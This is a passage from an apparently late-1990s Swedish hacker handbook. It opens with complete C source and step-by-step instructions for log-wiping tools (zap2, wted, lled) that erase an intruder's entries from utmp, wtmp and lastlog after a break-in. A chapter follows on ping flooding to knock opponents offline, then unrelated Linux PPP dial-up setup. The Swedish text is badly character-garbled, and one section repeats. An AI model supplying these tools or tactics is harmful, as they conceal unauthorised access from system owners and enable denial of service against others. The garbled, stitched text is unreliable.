bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
--------------------------- klipp h<>r
Andra scripts
L<EFBFBD>t oss nu s<>ga att du har loggat in och k<>rt din zap fil.
Du m<>ste nu FTP:a in f<>r att <20>grab:a<> en fil.
(Kom ih<69>g att aldrig FTP:a eller Telnet:a ut fr<66>n kontot!)
Ok, du FTP:ar in och grab:ar ett par filer, eller loggar in p<> ett annat konto p<> systemet.
Nu blir du tvungen att anv<6E>nda wted. wted l<>ter dig redigera wtmp:en f<>r att ta bort ditt
login fr<66>n FTP:n. Du kanske ocks<6B> beh<65>ver anv<6E>nda dig av lld (lastlog edit).
H<EFBFBD>r <20>r menyn om du skriver ./wted, efter att ha satt log s<>kv<6B>g och kompilerat:
[8:25pm][/home/compile]wted
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help
-f Use FILE instead of default
-a Show all entries found
-u Show all entries for USER
-b Show NULL entries
-e Erase USER completely
-c Erase all connections containing HOST
-z Show ZAP'd entries
-x Attempt to remove ZAP'd entries completely
S<EFBFBD> om jag FTP:ar till anv<6E>ndarnamnet smith skulle jag skriva wted <20>x <20>e .
Programmet kommer nu att prompta dig ett login i taget f<>r anv<6E>ndaren smith,
och fr<66>ga om du verkligen vill ta bort det.
Efter att du tagit bort ditt login, var d<> s<>ker p<> att du g<>r
chmod 664 wtmp.tmp och sedan kopierar den till katalogen ett steg upp i logg systemet:
1. chmod 644 wtmp.tmp
2. cp wtmp.tmp /var/adm/wtmp
Ok, h<>r <20>r nu wted programmet:
OBS: F<>RS<52>KRA DIG OM ATT DU HAR R<>TT S<>KV<4B>G TILL <20>char filen<65> under,
S<EFBFBD> att du f<>r r<>tt s<>kv<6B>g till wtmp filen!
wted.c
---------------------- klipp h<>r!
#include <stdio.h>
#include <utmp.h>
#include <time.h>
#include <fcntl.h>
char *file="/var/adm/wtmp";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
{
if(argv[i][0] == '-')
{
switch(argv[i][1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1],0); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct utmp utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
{
if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct utmp *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ut_name);
printf("%s\t",ptr->ut_line);
strcpy(tmpstr,ctime(&(ptr->ut_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ut_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (host)
if (strstr(utmp.ut_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
if (name) {
if (strcmp(utmp.ut_name,name)) {cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct utmp));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (utmp.ut_time) {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}
usage()
{
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n");
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------- klipp h<>r
Du kanske ocks<6B> m<>ste rensa upp i filen /vat/adm/lastlog
F<EFBFBD>r att g<>ra detta anv<6E>nder du programmet lled.c. Kompilera programmet och
d<EFBFBD>p om det till lled.
H<EFBFBD>r <20>r menyn av kommandon f<>r programmet n<>r du skriver in kommandot ./lled :
[4:04am][/home/paris/compile]lled
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help
-f Use FILE instead of default
-a Show all entries found
-u Show all entries for USER
-b Show NULL entries
-e Erase USER completely
-c Erase all connections containing HOST
-z Show ZAP'd entries
-x Attempt to remove ZAP'd entries completely
Det vore bra att kolla genom att f<>rst anv<6E>nda <20>u , men m<>nga g<>nger kommer det inte att
visa ditt host. Men om du vet vad du letar efter kan du skriva (om du kommer fr<66>n
macine.host.com):
lled <20>e username <20>c machine.host
Om du m<>ste kolla lastlog s<> borde naturligtvis ditt hostname finnas l<>ngst ned.
Skriv bara: lled <20>a
chmod:a filen lastlog.tmp 664 och kopiera den till katalogen ett steg upp<70>t.
F<EFBFBD>RS<EFBFBD>KRA DIG OM ATT DU FIXAR S<>KV<4B>GEN TILL DIN LASTLOG NEDAN:
Ok; h<>r <20>r lastlog programmet:
-------------------------- klipp h<>r
#include <stdio.h>
#include <time.h>
#include <lastlog.h>
#include <fcntl.h>
char *file="/var/adm/lastlog";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
{
if(argv[i][0] == '-')
{
switch(argv[i][1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1]); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct lastlog utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
{
if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct lastlog *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ll_line);
strcpy(tmpstr,ctime(&(ptr->ll_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ll_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (host)
if (strstr(utmp.ll_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
if (name) {
if (strcmp(utmp.ll_line,name)) {cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (utmp.ll_time) {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}
usage()
{
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n");
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------------------------------------------------- klipp h<>r
Kapitel 5: Smurf Attacks
Har du n<>gonsin h<>rt talas om de s<> kallade <20>Smurf Attackerna<6E> som folk anv<6E>nder f<>r att f<> bort
sina ov<6F>nner fr<66>n n<>tet?? <20> Jag vet att det k<>nns lite lamt att ta upp det s<> h<>r i tredje boken av HM,
men det har liksom inte kommit med tidigare. Och detta kan i m<>nga fall vara mer effektivt <20>n nukes!
- S<>. Vad <20>r detta??
N<EFBFBD>r du skickar en ping till n<>gon s<> kommer ju alltid de paket du skickar tillbaka, s<> att du ser hur l<>ng
tid det tog f<>r f<>rbindelsen att skicka och ta emot paketen<65> S<>, vad jag f<>r fram genom detta <20>r att
paketen tar upp bandbredd f<>r b<>de din och den du pingar <20>s anslutning! Vilket g<>r att ni b<>da hamnar
efter (<28>laggar<61>) och det g<>r mycket l<>ngsammare att surfa mm..
Men om inte paketen skulle komma tillbaka s<> kunde du skicka paket mycket snabbare!
D<EFBFBD> skulle ju ocks<6B> mottagarens anslutning bli <20>NNU s<>mre, kanske till och med kopplas ned!!
S<EFBFBD> vad vi beh<65>ver <20>r<EFBFBD> Hmm,, ja, n<>gonting som hindrar paketen att n<> fram till v<>r egen dator.
Detta g<>rs enkelt genom att anv<6E>nda en firewall! Ett firewall program kan du ladda hem lite h<>r
och d<>r p<> Internet. [ Det svenska ordet f<>r firewall <20>r <20>Brandv<64>gg<67>. ].
En Firewall filtrerar allts<74> inkommande information fr<66>n n<>tet. Det kan vara nukar, pings, ICMP
grejor och annat. T.o.m. om n<>gon f<>rs<72>ker ansluta till din dator med Back Orifice, Evil FTP eller
NetBus etc.. S<> varnar programmet och l<>ter dig v<>lja mellan att ignorera, acceptera eller blockera
anslutningen. Po<50>ngen <20>r att inga paket kan <20>terv<72>nda till din dator och att du p<> s<> s<>tt kan pinga
din ov<6F>n mycket snabbare. Ladda ocks<6B> ner en pinger som till<6C>ter kloner!
Du kan d<> pinga n<>gon med 65000 bytes g<>nger 10 !!! (10 kloner) vilket blir <20>FETT_MYCKET<45>! ;-).
En bra s<>dan pinger <20>r <20>Fortune 2k<32> ( Final Fortune ).
Kapitel 6: Mera UNIX
Nu har du s<>kert suttit med Redhat Linux och pj<70>kat med X-Windows och en massa krafs,
Du har kanske hittat f<>nsterhanterare och skal mm.. S<> jag tror att du vill f<> ig<69>ng Internet nu.
<EFBFBD>ven om du inte har ett lika fint skal som Windows var f<>r DOS, s<> kommer du nu f<> hj<68>lp
med att koppla upp dig direkt fr<66>n den m<>rka kod-sk<73>rmen.
Ni som har hittat en fin f<>nsterhanterare har nog redan hittat Internet uppkopplingen.
F<EFBFBD>lj med h<>r nu bara!
N<EFBFBD>tverk
I detta kapitel ska jag visa hur du konfigurerar n<>tverksfunktionerna i Linux.
Linux g<>r att anv<6E>nda i m<>nga olika situationer och jag har h<>rt talas om ett antal fall
d<EFBFBD>r Linux n<>stan varit den enda l<>sningen att koppla ihop Windows-, Macintosh-, Novell-,
och Unix-baserade n<>tverk. I <20>vanliga<67> operativsystem skulle du f<> betala tusan
f<EFBFBD>r varje extra arkitektur.
Linux kan med hj<68>lp av Samba-sviten vara server och klient till Windows-n<>tverk med
utdelade resurser och allt vad det kallas. Man kan dela filer och skrivare och det skall <20>ven
funka att anv<6E>nda Linux som dom<6F>nserver som du kan logga in p<> precis som med NT.
Det finns liknande programsviter till Macintosh och Novell. Linux <20>r ju ungef<65>r Unix s<> det
mesta i den v<>gen fungerar ocks<6B>.
N<EFBFBD>tverkskort
De flesta n<>tverkskort fungerar bra i Linux, det st<73>rsta problemet <20>r f<>rmodligen
de kort som g<>r under Plug<75>n<EFBFBD>Play-st<73>mpeln. Speciellt ISA-korten <20>r problematiska,
PCI <20>r oftast inga st<73>rre problem. Du f<>r titta lite i dina BIOS-inst<73>llningar.
Ofta kan du v<>lja att du inte har n<>got PnP-operativsystem och att korten inte skall
nollst<EFBFBD>llas vid omstart. Har du tur kan du st<73>nga av PnP funktionen p<> kortet genom
n<EFBFBD>got inst<73>llningsprogram p<> <20>den medf<64>ljande disketten<65>.
Till ISA PnP-kort finns paketet isapnptools, men det <20>r v<>ldigt b<>kigt, b<>de att konfigurera
programmen och att f<> det att fungera i verkligheten. Det <20>r m<>jligt att det kommer PnP-st<73>d
till k<>rnan. Det har diskuterats ett tag om man <20>ver huvudtaget vill ha det, PnP <20>r inte s<>rskiljt
popul<EFBFBD>rt inom Linuxv<78>rlden, i alla fall inte bland halvreligi<67>sa veteraner.
Om du ska k<>pa n<>tverkskort kan du titta i Ethernet-HOWTO och Hardware-HOWTO;
d<EFBFBD>r st<73>r vilka kort som fungerar och vilka som inte g<>r det. Det finns m<>nga billiga modeller
som <20>r NE2000-kompatibla. Om de <20>r d<>liga blir det problem. Dessa kort b<>r du inte s<>tta i
servrar eftersom de inte alltid h<>ller speciellt bra men hur som helst har Linux bra NE2000-
drivrutiner. Men f<>rs<72>k att se till s<> du kan aktivera PnP<6E>
Konfiguration
N<EFBFBD>r du installerade Linux hittade den kanske ditt n<>tverkskort och du skrev in IP adress,
v<EFBFBD>rdnamn osv. Fungerar det som det ska s<> <20>r det perfekt. Du kan titta p<> och <20>ndra
inst<EFBFBD>llningarna med programmet ifconfig, men du m<>ste vara root n<>r du vill <20>ndra.
H<EFBFBD>r finner du en massa inst<73>llningar som jag tyv<79>rr inte hinner g<> igenom h<>r och nu.
Testa <20>man ifconfig<69>, <20>whatis ifconfig<69> och <20>what is ifconfig<69> f<>r att f<> mer info.
Internetabonnemang
och Linux
Har du problem att f<> till din Linux-uppkoppling mot Internet? L<>s i s<> fall vidare, ty h<>r
finner du en scriptgenerator som st<73>ller
n<EFBFBD>gra fr<66>gor om ditt Internet-konto och utifr<66>n dina svar skapas sedan de script och filer som
beh<EFBFBD>vs f<>r uppkopplingen.
Programmet <20>r testat mot Algonet, Tele2, Telenordia, Telia och Tripnet med gott resultat. Det
b<EFBFBD>r <20>ven fungera mot Calypso
och IBM.
Inledning
M<EFBFBD>nga nya Linux-anv<6E>ndare brukar ha problem med att koppla upp sig mot Internet. Detta
har flera orsaker. Viktigast <20>r nog
att de flesta Internet-leverant<6E>rer inte sett det som n<>gon viktig uppgift att ta fram korrekta
och l<>ttbegripliga instruktioner f<>r Linux, men ocks<6B> p<> att det faktiskt kan vara lite kr<6B>ngligt
att ordna. Detta dokument och tillh<6C>rande filer syftar till att reducera problemen till ett
minimum genom att till stor del automatisera installationen. F<>r detta utnyttjas ett program
(pppinst.sh), som fr<66>gar efter Internetleverant<6E>r och de uppgifter som beh<65>vs f<>r att ringa upp
(telefonnumret) och logga in p<> leverant<6E>rens server (anv<6E>ndarnamn och l<>senord). D<>refter
skapas automatiskt de script och hj<68>lpfiler som beh<65>vs f<>r uppkopplingen.
De Internetleverant<6E>rer som installationsprogrammet f n b<>r kunna klara <20>r Algonet, Calypso,
IBM, Tele2, Telenordia, Telia och Tripnet.
Installationsprogrammet skapar tv<74> script (ppp-on och ppp-off) som anv<6E>nds vid upp- resp
nedkoppling till Internetleverant<6E>ren. Programmet g<>r det m<>jligt att v<>lja om man vill att
alla anv<6E>ndare skall kunna koppla upp sig mot Internet eller inte - t<>nk dock p<> att detta att
l<EFBFBD>ta alla anv<6E>ndare att g<>ra uppkopplingen inneb<65>r en s<>kerhetslucka som kanske inte spelar
n<EFBFBD>gon roll i hemmet, men som absolut inte b<>r f<>rekomma i system med m<>nga anv<6E>ndare.
M<EFBFBD>nga nya Linux-anv<6E>ndare brukar ha problem med att koppla upp sig mot Internet. Detta
har flera orsaker. Viktigast <20>r nog att de flesta Internet-leverant<6E>rer inte sett det som n<>gon
viktig uppgift att ta fram korrekta och l<>ttbegripliga instruktioner f<>r Linux, men ocks<6B> p<> att
det faktiskt kan vara lite kr<6B>ngligt att ordna. Detta dokument och tillh<6C>rande filer syftar till att
reducera problemen till ett minimum genom att till stor del automatisera installationen. F<>r
detta utnyttjas ett program (pppinst.sh), som fr<66>gar efter Internetleverant<6E>r och de uppgifter
som beh<65>vs f<>r att ringa upp (telefonnumret) och logga in p<> leverant<6E>rens server
(anv<6E>ndarnamn och l<>senord). D<>refter skapas automatiskt de script och hj<68>lpfiler som
beh<EFBFBD>vs f<>r uppkopplingen. De Internetleverant<6E>rer som installationsprogrammet f n b<>r
kunna klara <20>r Algonet, Calypso, IBM, Tele2, Telenordia, Telia
och Tripnet.
Installationsprogrammet skapar tv<74> script (ppp-on och ppp-off) som anv<6E>nds vid upp- resp
nedkoppling till Internetleverant<6E>ren. Programmet g<>r det m<>jligt att v<>lja om man vill att
alla anv<6E>ndare skall kunna koppla upp sig mot Internet eller inte - t<>nk dock p<> att detta att
l<EFBFBD>ta alla anv<6E>ndare att g<>ra uppkopplingen inneb<65>r en s<>kerhetslucka som kanske inte spelar
n<EFBFBD>gon roll i hemmet, men som absolut inte b<>r f<>rekomma i system med m<>nga anv<6E>ndare.
F<EFBFBD>rberedelser
Samla ihop de uppgifter du f<>tt av Internetleverant<6E>ren: telefonnummer, ditt
anv<EFBFBD>ndarnamn (loginnamn) och l<>senord, samt IP-adresserna till de namnservrar som
tillhandah<EFBFBD>lls. Tag reda p<> vilken serieport som ditt modem <20>r anslutet till.
H<EFBFBD>mta hem shellarkivet ppp.shar som inneh<65>ller alla n<>dv<64>ndiga filer. Ladda hem ppp.shar
Skapa en katalog dit du kopierar shellarkivet ppp.shar och placera dig i katalogen. Om
arkivet redan <20>r i en l<>mplig katalog kan du strunta i kopieringen, men katalogen b<>r helst
vara tom, bl a d<>rf<72>r att det i annat fall kan h<>nda att vissa filer inte packas upp fr<66>n arkivet,
ty detta <20>r konstruerat s<> att inga redan existerande filer skrivs <20>ver. Packa upp shellarkivet
med kommandot sh ppp.shar
Installation
Installationen kr<6B>ver att man <20>r inloggad som root: Logga in som root om du inte redan <20>r det!
Du skall av din leverant<6E>r ha f<>tt IP-adresser till namnservrar (adresserna har formen
xxx.xxx.xxx.xxx, d<>r xxx <20>r ett tal 0-255).
Dessa skall fogas till filen /etc/resolv.conf. Detta kan du g<>ra s<> h<>r:
Flytta till katalogen /etc (med kommandot cd /etc)
Starta en editor f<>r att redigera filen resolv.conf. (t ex pico resolv.conf)
Skriv in IP-adresserna f<>r namnservrarna (1 per rad och stava r<>tt!), t ex nameserver
130.237.225.199
K<>r programmet pppinst.sh genom att skriva
./pppinst.sh
och svara p<> fr<66>gorna (om inte redan modemet <20>r installerat m<>ste du veta vilken serieport
det <20>r anslutet till, dessutom m<>ste du veta namnet p<> din leverant<6E>r, telefonnumret till
leverant<EFBFBD>rens server, ditt loginnamn och ditt l<>senord). Resten hanterar programmet.
N<EFBFBD>r programmet avslutats b<>r allt vara klart f<>r uppkoppling.
Testa uppkopplingen
Se till att modemet <20>r p<>slaget och att modemkabeln sitter r<>tt. Logga s<> in som root och ge
kommandot
/usr/sbin/ppp-on &
OBS att du b<>r skriva hela filv<6C>gen s<> att du s<>kert vet att r<>tt ppp-on k<>rs (det kan ju finnas
fler och det <20>r inte s<>kert att katalogen /usr/sbin ing<6E>r i s<>kv<6B>gen).
Om det verkar som om f<>rbindelsen uppr<70>ttas kan du f<>rs<72>ka k<>ra n<>got program mot
Internet (s<>som ftp mot n<>gon svensk ftp-server, t ex ftp.sunet.se). Om <20>ven detta g<>r bra, s<>
har du en fungerande Internet-uppkoppling
F<EFBFBD>r att avsluta uppkopplingen b<>r du sedan k<>ra kommandot
/usr/sbin/ppp-off
Om du valde att <20>ven vanliga anv<6E>ndare skall kunna g<>ra uppkopplingen, dvs utan att vara
inloggad som root, b<>r du ocks<6B> logga in som vanlig anv<6E>ndare och g<>ra om testen. Om det
inte fungerar beror det f<>rmodligen p<> att n<>gon <20>tkomstr<74>ttighet <20>r felaktig (se avsnittet om
fel nedan). L<>gg dock m<>rke till att i nuvarande skick kan bara root st<73>nga av f<>rbindelsen
(med ppp-off). Det finns l<>sningar p<> detta problem, men de <20>r enligt min mening inte
speciellt bra, s<> jag har inte
implementerat detta <20>n.
Trubbel - det fungerar inte!
Vanliga fel
Om modemet inte reagerar n<>r du ger detta kommando (och om du skrev r<>tt), d<> <20>r det
f<EFBFBD>rmodligen antingen fel p<> modemet (kontrollera att det <20>r p<>slaget och att modemkabeln
sitter r<>tt) eller s<> <20>r fel serieport knuten till modemet.
Om det senare <20>r fallet m<>ste du f<>rst radera den gamla l<>nken /dev/modem (med kommandot
rm /dev/modem), och d<>refter kan du antingen k<>ra om programmet eller manuellt fixa det
(med kommandot ln -s /dev/cuaX/dev/modem d<>r X <20>r 0,1,2 eller 3 beroende p<> vilken
serieport modemet <20>r kopplat till).
Om modemet ringer upp men det inte svarar ett modem i andra <20>nden, d<> <20>r f<>rmodligen
telefonnumret felaktigt eller s<> fungerar inte servern f<>r tillf<6C>llet.
Om telefonnumret <20>r korrekt (kontrollera filen /etc/ppp/provider), d<> kan det vara fel p<>
loginnamnet eller l<>senordet (kontrollera samma fil och filen /etc/ppp/ppp-secrets) eller s<>
kan det vara fel i sj<73>lva scriptet (skicka d<> ett brev till undertecknad med en felbeskrivning)
Om uppkopplingen fungerar med root men inga andra anv<6E>ndare (och du vill att inte bara root
skall ha r<>tt att g<>ra uppkopplingen), d<> <20>r r<>ttigheterna p<> ett eller flera av kommandona och
ev <20>ven p<> modem-enheten felaktiga. Du kan d<> antingen k<>ra om programmet eller <20>ndra
r<EFBFBD>ttigheterna manuellt:
chmod 755 /usr/sbin/ppp-on /usr/sbin/ppp-off
chmod 666 /dev/cuaX
chmod 4755 /usr/sbin/pppd
Fels<EFBFBD>kning
Alla ppp-uppkopplingar loggas i filen /var/log/messages. Om n<>got kr<6B>nglar kan man allts<74>
d<EFBFBD>r kontrollera vad som h<>nt. F<>r att l<>sa filen kan du t ex ge kommandot:
less /var/log/messages
Bl<EFBFBD>ddra dig fram till ppp-loggen med tryck p<> mellanslagstangenten eller anv<6E>nd
s<EFBFBD>km<EFBFBD>jligheten (skriv /ppp inne i less).
Anm<EFBFBD>rkningar
Detta <20>r en ej f<>rdigtestad programvara och inneh<65>ller sannolikt fel och kan s<>kert f<>rb<72>ttras
p<EFBFBD> m<>nga olika s<>tt. F<>r att det skall bli m<>jligt att r<>tta buggar och inf<6E>ra f<>rb<72>ttringar kr<6B>vs
dock att du som har synpunkter eller hittar fel meddelar undertecknad detta. <20>ven du som
anv<EFBFBD>nt programmet med framg<6D>ng b<>r skicka mig ett meddelande om detta (uppge din
leverant<EFBFBD>r), s<> att jag f<>r bekr<6B>ftelse p<> att det hela fungerar. Founder@lords.com
Good Luck!
Faktauppgifterna om de olika leverant<6E>rerna och grundscripten f<>r sj<73>lva uppkopplingen har
jag fr<66>mst h<>mtat fr<66>n FAQ f<>r R20_LINUX - Linuxm<78>tet i Svenska fidonet
Utan denna information skulle detta installationsprogram inte existerat.
(Sammanst<73>lld av Bj<42>rn Lind*** Mars -98 -- uppdaterad h<>sten-98)
Uppkoppling till Swipnet (Tele2) med PPP.
I den h<>r artikeln skall jag beskriva hur man t<>mligen sm<73>rtfritt f<>r sin
uppkoppling till Tele2:s swipnet att fungera. Vi antar att din Linux-maskin
<EFBFBD>r en frist<73>ende dator och att du har modem och ett Internet-konto hos Tele2.
Dessa anvisningar fungerar ocks<6B> till Telia, men du f<>r ange annan DNS =
namnserver, n<>mligen 10.0.0.1 och 10.0.0.2
F<EFBFBD>rberedelser
Kontrollera f<>rst att du har pppd installerat i k<>rnan och vilken version
av pppd du k<>r med kommandot:
$ /user/sbin/pppd version
Detta kommando <20>r ett trick som ger ett felmeddelande men <20>ven versionsnumret.
Om du k<>r Redhat finns pppd installerat. N<>sta steg <20>r att kolla att k<>rnan st<73>der
ppp. Ge kommandot:
$ dmesg | grep -i ppp
Du skall f<> som svar:
PPP: version 2.2.0 (dynamic channel allocation)
PPP Dynamic channel allocation code copyright 1995 Caldera, Inc
PPP Line discipline registered
Om inte, kanske ppp <20>r installerat som modul. Logga in som root och testa:
$ insmod ppp
Om detta misslyckas, m<>ste du kompilera om k<>rnan f<>r att f<> ppp-st<73>d. L<>s i
/usr/src/linux/README hur du g<>r detta. N<>r du konfigurerar k<>rnan skall du
svara ja p<> f<>ljande rader:
General setup --->
[*] Networking support
Network device support --->
[*] Network device support
<*> PPP (point-to-point) support
Dessa rader kan se annorlunda ut i icke-2.0 k<>rnor. N<>r du har kryssat f<>r dessa alternativ,
skall du kompilera den nya k<>rnan. Se /usr/src/linux/README.
Ok - d<> har du ppp-st<73>d installerat. D<> <20>r det dags se till att modemet finns p<> r<>tt port.
Ofta <20>r musen installerad p<> com1 (cua0 i Linux) och d<> b<>r modemet vara kopplat till
com2 (cua1 i Linux). Skapa nu en symbolisk l<>nk till modemet:
# cd /dev
# ln -sf /dev/cua1 /dev/modem
Minicom.
F<EFBFBD>r att installera modemet p<> r<>tt port, kan vi anv<6E>nda programmet minicom.
Det <20>r ett terminalprogram som man kan anv<6E>nda f<>r att testa att modemet
fungerar som det ska. Du kan <20>ven logga in p<> Swipnet f<>r att kontrollera hur
inloggningen ser ut. Detta <20>r viktigt att k<>nna till n<>r man senare skall skriva ett
inloggningsscript.
Om du k<>r Linux Redhat version 4.0 eller senare, kan du starta Xwindows
och d<>r installera modemet via "controlpanel", inloggad som root.
Kom ih<69>g com1=cua0 com2=cua1.
Ok - du st<73>r vid prompten och <20>r inloggad som root. Skriv minicom <20>s
D<EFBFBD> startar programmet minicom och du hamnar direkt i [configuration].
V<EFBFBD>lj alternativet "serial port setup". F<>rsta inst<73>llningen d<>r <20>r "Serial Device".
Det <20>r den viktigaste inst<73>llningen - vilken port ditt modem <20>r ansluten till.
L<EFBFBD>ngst ner st<73>r det "Change which setting?" Tryck A och skriv sedan in - /dev/modem
Tryck sedan <enter> f<>r att konfirmera din inst<73>llning. Tryck sedan <esc> f<>r att
l<EFBFBD>mna inst<73>llningen. Bl<42>ddra ner till "Exit". Tryck <Enter>. Programmet kommer
att visa en ruta d<>r det st<73>r "Initializing modem" och s<> sm<73>ningom kommer
du fram till en sk<73>rmsida som ser ut som nedan:
Welcome to minicom 1.75.
Press CTRL-A Z for help on special keys
AT S7=45 S0=0 L1 V1 X4 &c1 E1 Q0
OK
Nu <20>r du klar att ringa upp med minicom. P<> raden under Ok, d<>r cursorn st<73>r och
blinkar, skriver du in:
ATDTxxxxxxx (xxxxxx=telefonnumret till din Internetleverant<6E>r)
Nu skall modemet koppla upp direkt och du skall hamna vid en login-prompt.
